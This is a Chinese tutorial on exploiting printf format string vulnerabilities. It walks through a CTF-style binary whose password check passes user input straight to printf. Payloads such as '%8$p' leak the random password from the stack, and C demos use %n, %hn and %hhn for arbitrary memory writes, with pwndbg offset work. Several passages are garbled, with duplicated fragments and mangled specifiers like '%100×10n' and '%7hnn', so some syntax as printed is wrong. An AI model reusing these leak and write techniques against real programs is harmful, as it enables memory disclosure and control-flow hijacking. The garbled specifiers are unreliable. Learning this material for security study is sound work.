%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%ix表示要泄漏偏移i4字节长的16进制数据,x表示要泄漏偏移i处4字节长的16进制数据,%ilx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%hn表示写入的地址空间为2字节,%hhn表示写入的地址空间为1字节,hhn表示写入的地址空间为1字节,%lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%hnhn或%hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

0x01 printf-读-简述

格式化字符串漏洞常见的标志为printf(&str),其中str中的内容是可控的。printf在解析format参数时,会自动从栈上format字符串结束的位置,按顺序读取格式化字符串对应的参数。

如图所示,执行的命令为printf(“%s %d %d %d %x”,buf, 1, 2, 3),紧随格式化字串后压入栈上的参数为4个,但格式化字串有五个参数,printf在解析第五个参数%x时,会继续往栈上读取,造成了信息泄露:

image-20211023221021519

0x02 实战一

IDA中主函数逻辑如下:首先判断用户名是否为root,然后从系统中读取一个随机数,判断用户的输入与随机数是否相等。随机数输入的长度限制为0x50,告别了栈溢出的可能,随机数输入错误1次后exit_flag会置0,在下一次输入错误后程序会退出。

唯一的利用点在于程序中存在printf(&s),而s是可控的,因此可以用格式化字符串的任意地址读功能获取随机数:

.data:0000000000202098 exit_flag       db    1   

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){
int fd; // ST0C_4
char buf; // [rsp+10h] [rbp-A0h]
char s1; // [rsp+20h] [rbp-90h]
char s; // [rsp+40h] [rbp-70h]
unsigned __int64 v7; // [rsp+A8h] [rbp-8h]


v7 = __readfsqword(0x28u);
init_std();
fd = open("/dev/urandom", 0);
read(fd, &buf, 8uLL);
close(fd);
puts("Hi, please input your name:");
read_func(&s1, 16LL); // equal to read(buf,size)
if ( !strcmp(&s1, "root") )
{
printf("%s welcome to go home !\n", &s1);
puts("Oh, I also need your password:");
while ( 1 )
{
memset(&s, 0, 0x60uLL);
read_func(&s, 0x50LL);
if ( !strcmp(&s, &buf) )
break;
printf("Your password ", &buf);
printf(&s); // vuln
puts(" seem not ture......");
if ( !exit_flag )
{
puts("Bye~");
exit(0);
}
puts("Try again!");
exit_flag = 0;
}
puts("You are my root!");
exit(0);
}
puts("Who are you?");
exit(0);
}

在输入中输入格式化字符串%x,程序会打印栈上的信息:

Hi, please input your name:root
root welcome to go home !
Oh, I also need your password:
%p %p %p %p %p %p %p %p %p
Your password 0x7ffce2b24580 0x7f06e850d8c0 (nil) 0xe 0x7f06e828ef70 (nil) 0x300000000 0x6db2adca20d558ab (nil) seem not ture......
Try again!

泄露出来的数据依次为RSI RDX RCX R8 R9 RSP+0x8 RSP+0x10 RSP+0x18的内容,在64位系统中,函数前5个参数通过寄存器传参,对应RSI RDX RCX R8 R9,函数不会泄露RDI,即格式化字符串本身的地址内容。

当寄存器的内容不足以填满格式化字符串的参数时,printf会继续往栈上索引,从RSP+0x8,即main函数的栈基址开始读取,刚好在第8个参数泄露了位于rsp+10h的随机数0x6db2adca20d558ab。

现在我们知道怎么计算偏移来读取任意地址的信息了,如果读取离当前RSP很远的信息,比如偏移了100个%p,可以使用占位符减少输入,占位符减少输入,的含义为输出对应位置的参数,比如%8$p输出第8个%p的数据:

Hi, please input your name:root
root welcome to go home !
Oh, I also need your password:
%8$p
Your password 0x1d894b7f31fe7418 seem not ture......
Try again!

pwndbg提供了一种方便的函数fmtarg,使用格式为fmtarg addr。在进入printf函数时断下,调用fmtarg后可以自动计算格式化参数与addr的偏移。fmtarg在计算index时将RDI也算了进去,后面会自动减一作为%$p的参数:

# ins
->
0x7f6507184f00 <printf> sub rsp, 0xd8 0x7f6507184f07 <printf+7> test al, al
0x7f6507184f09 <printf+9> mov qword ptr [rsp + 0x28], rsi

# stack
rsp 0x7ffd014b4248 <- 0x56029ee8ae0e
0x7ffd014b4250 -> 0x0
0x7ffd014b4258 -> 0x300000000
0x7ffd014b4260 -> 0x869b15527cfcfffa//random
0x7ffd014b4268 -> 0x0
0x7ffd014b4270 -> 0x746f6f72 /* 'root' */
0x7ffd014b4278 -> 0x0

#use fmtarg -> targrt:0x7ffd014b4260
The index of format argument : 9 ("\%8$p")

0x03 printf-写-简述

printf除了能将数据输出至标准输出,还能将数据输出至某一地址。printf通过%n、%hn、%hhn三个参数将已打印的字符个数输出至格式化参数对应的地址中,如:

#include<stdio.h>int main()
{
int a = 0;
printf("aaaa%n",&a);
printf("%d",a);
return 0;
}
// -> a = 4

可以通过格式化串中的输出占位符来调整输出字符串的个数:

#include <stdio.h>
int main()
{
char a = 'a';
int b = 10;
printf("%30c%n",a,&b);
printf("%d",b);
return 0;
}
// -> b = 30

%n一次写入四个字节,%hn一次写入两个字节,%hhn一次只写入一个字节。如果写入的字节数大于格式化字符串所对应的最大字节数,则发生溢出置0。

在空间足够的情况下,推荐使用%hhn进行写入,一来可以避免sprintf等函数末尾自动填充\0,二来通过溢出修改写入字节(如0x64 -> 0x32)所需的字符数较少,不会卡死。如果空间有限,则需酌情考虑使用其他格式字串或更换方法:

#include <stdio.h>
int main()
{
char a = 'a';
int b = 0;
printf("%255c%hhn\n\n",a,&b);//0xff = 255
printf("%d",b);
return 0;
}
// -> b = 255


#include <stdio.h>
int main()
{
char a = 'a';
int b = 0;
printf("%256c%hhn\n\n",a,&b);//256=0x100
printf("%d",b);
return 0;
}
// -> b = 0xff+1 = 0x(1)00 = 0x00 !!!

0x04 示例

与其他格式化字符串一样,%n系列也可以通过 $运算符来进行偏移,从而实现任意地址写的功能。下面我们通过一个简单的实例来康康如何进行写入,demo源码如下:

#include<stdio.h>
int main()
{
char a[] = "aaaaaaa";
long int t = 10;
long int* d = &t;
printf("%65c%7$hhn"); // 模拟printf(&s)
printf("after printf, t=%d",t);
return 0;
}

程序执行到printf前,栈上的数据分布如下:

rsp  0x7fffffffdb50 <- 0xa /* '\n' */     
0x7fffffffdb58 -> 0x7fffffffdb50 0xa /* '\n' *///target
0x7fffffffdb60 -> 0x61616161616161 /* 'aaaaaaa' */
0x7fffffffdb68 -> 0xa7726df524ad0100
rbp 0x7fffffffdb70 <- 0x4018b0 (__libc_csu_init)
0x7fffffffdb78 <- 0x401159 (__libc_start_main+777)
0x7fffffffdb80 -> 0x0
0x7fffffffdb88 -> 0x100000000

我们的目标是修改位于0x7fffffffdb50变量的值,注意,%n参数对应的是指针,我们需要借用一层跳板来执行解引用后修改操作,即传入0x7fffffffdb58这一指向0x7fffffffdb50的指针。

使用fmtarg得出该地址与格式化字符串的偏移为7:fmtarg 0x7fffffffdb58 The index of format argument : 8 ("%7p"),对应源码中p"),对应源码中%7hnn;%65c将打印栈上的垃圾数据,用于控制输出长度,进而控制修改的值。程序执行完后,t的值被修改成65: